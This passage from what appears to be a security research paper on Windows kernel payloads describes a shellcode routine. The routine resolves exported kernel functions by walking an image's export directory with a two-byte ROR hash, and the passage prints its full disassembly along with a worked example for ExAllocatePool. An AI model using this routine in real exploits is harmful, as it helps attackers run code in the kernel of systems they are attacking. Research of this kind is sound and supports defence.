|Informative Information for the Uninformed|
Next: Payload Components Up: General Techniques Previous: Known Portable Base Scandown   Contents
Another aspect common to almost all payloads on Windows is the use of code that walks the export directory of an image to resolve the address of a symbol3.3. In the kernel, things aren't much different. Barnaby refers to the use of a two-byte XOR/ROR hash in the eEye paper. Alternatively, a four byte hash could be used, but as pointed out in the eEye paper, this leads to a waste of space when two-byte hash could suffice equally well provided there are no collisions.
The approach implemented below involves passing a two-byte hash in the ebx register (the high order bytes do not matter) and the base address of the image to resolve against in the ebp register. In order to save space, the code below is designed in such a way that it will transfer execution into the function after it resolves it, thus making it possible to resolve and call the function in one step without having to cache addresses. In most cases, this leads to a size efficiency increase.
00000000 60 pusha 00000001 31C9 xor ecx,ecx 00000003 8B7D3C mov edi,[ebp+0x3c] 00000006 8B7C3D78 mov edi,[ebp+edi+0x78] 0000000A 01EF add edi,ebp 0000000C 8B5720 mov edx,[edi+0x20] 0000000F 01EA add edx,ebp 00000011 8B348A mov esi,[edx+ecx*4] 00000014 01EE add esi,ebp 00000016 31C0 xor eax,eax 00000018 99 cdq 00000019 AC lodsb 0000001A C1CA0D ror edx,0xd 0000001D 01C2 add edx,eax 0000001F 84C0 test al,al 00000021 75F6 jnz 0x19 00000023 41 inc ecx 00000024 6639DA cmp dx,bx 00000027 75E3 jnz 0xc 00000029 49 dec ecx 0000002A 8B5F24 mov ebx,[edi+0x24] 0000002D 01EB add ebx,ebp 0000002F 668B0C4B mov cx,[ebx+ecx*2] 00000033 8B5F1C mov ebx,[edi+0x1c] 00000036 01EB add ebx,ebp 00000038 8B048B mov eax,[ebx+ecx*4] 0000003B 01E8 add eax,ebp 0000003D 8944241C mov [esp+0x1c],eax 00000041 61 popa 00000042 FFE0 jmp eax
To understand how this function works, take for example the resolution of nt!ExAllocatePool. First, a hash of the string ``ExAllocatePool'' must be obtained using the same algorithm that the payload uses. For this payload, the result is 0x0311b83f3.4. Since the implementation uses a two-byte hash, only 0xb83f is needed. This hash is then stored in the bx register. Since ExAllocatePool is found within nt, the base address of nt must be passed in the ebp register. Finally, in order to perform the resolution, the arguments to nt!ExAllocatePool must be pushed onto the stack prior to calling the resolution routine. This is because the resolution routine will transfer control into nt!ExAllocatePool after the resolution succeeds and therefore must have the proper arguments on the stack.
One downside to this implementation is that it won't support the resolution of data exports (since it tries to jump into them). However, for such a purpose, the routine could be modified to simply not issue the jmp instruction and instead rely on the caller to execute it. It is also important for payloads that use this resolution technique to clear the direction flag with cld.